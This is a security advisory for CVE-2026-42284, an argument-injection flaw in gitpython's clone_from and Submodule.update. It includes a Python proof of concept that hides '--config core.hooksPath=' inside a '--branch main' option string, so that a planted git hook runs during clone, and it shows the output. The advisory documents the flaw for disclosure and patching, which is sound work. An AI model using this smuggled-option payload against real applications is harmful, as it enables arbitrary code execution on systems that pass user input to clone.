CVE-2026-42284
ADVISORY - githubSummary
Summary
_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.
Details
The vulnerable code is in git/repo/base.py line 1383:
multi = shlex.split(" ".join(multi_options))
Then validation runs on the original list at line 1390:
Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)
Then execution uses the transformed result at line 1392:
proc = git.clone(multi, "--", url, path, ...)
The check at git/cmd.py line 959 uses startswith:
if option.startswith(unsafe_option) or option == bare_option:
"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.
Also affects Submodule.update() via clone_multi_options.
PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repo
from git.exc import UnsafeOptionError
try:
Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
print("multi_options=['--config', '...']: Block as expected")
except Exception:
pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"
if not SRC.exists():
SRC.mkdir(parents=True)
r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
r("git", "init", "-b", "main")
(SRC / "f").write_text("x\n")
r("git", "add", ".")
r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)
LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:
Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
pass
if not LOG.exists() and DST.exists():
subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
print(LOG.read_text().strip())
Output:
multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked
Hook executed: True
texugo
DESKTOP-5w5HH79
Impact
Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.
Common Weakness Enumeration (CWE)
Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
GitHub
2.2
CVSS SCORE
8.1high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| gitpython | pypi | - | - | <3.1.47 | 3.1.47 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
Alpine
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Debian
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Ubuntu
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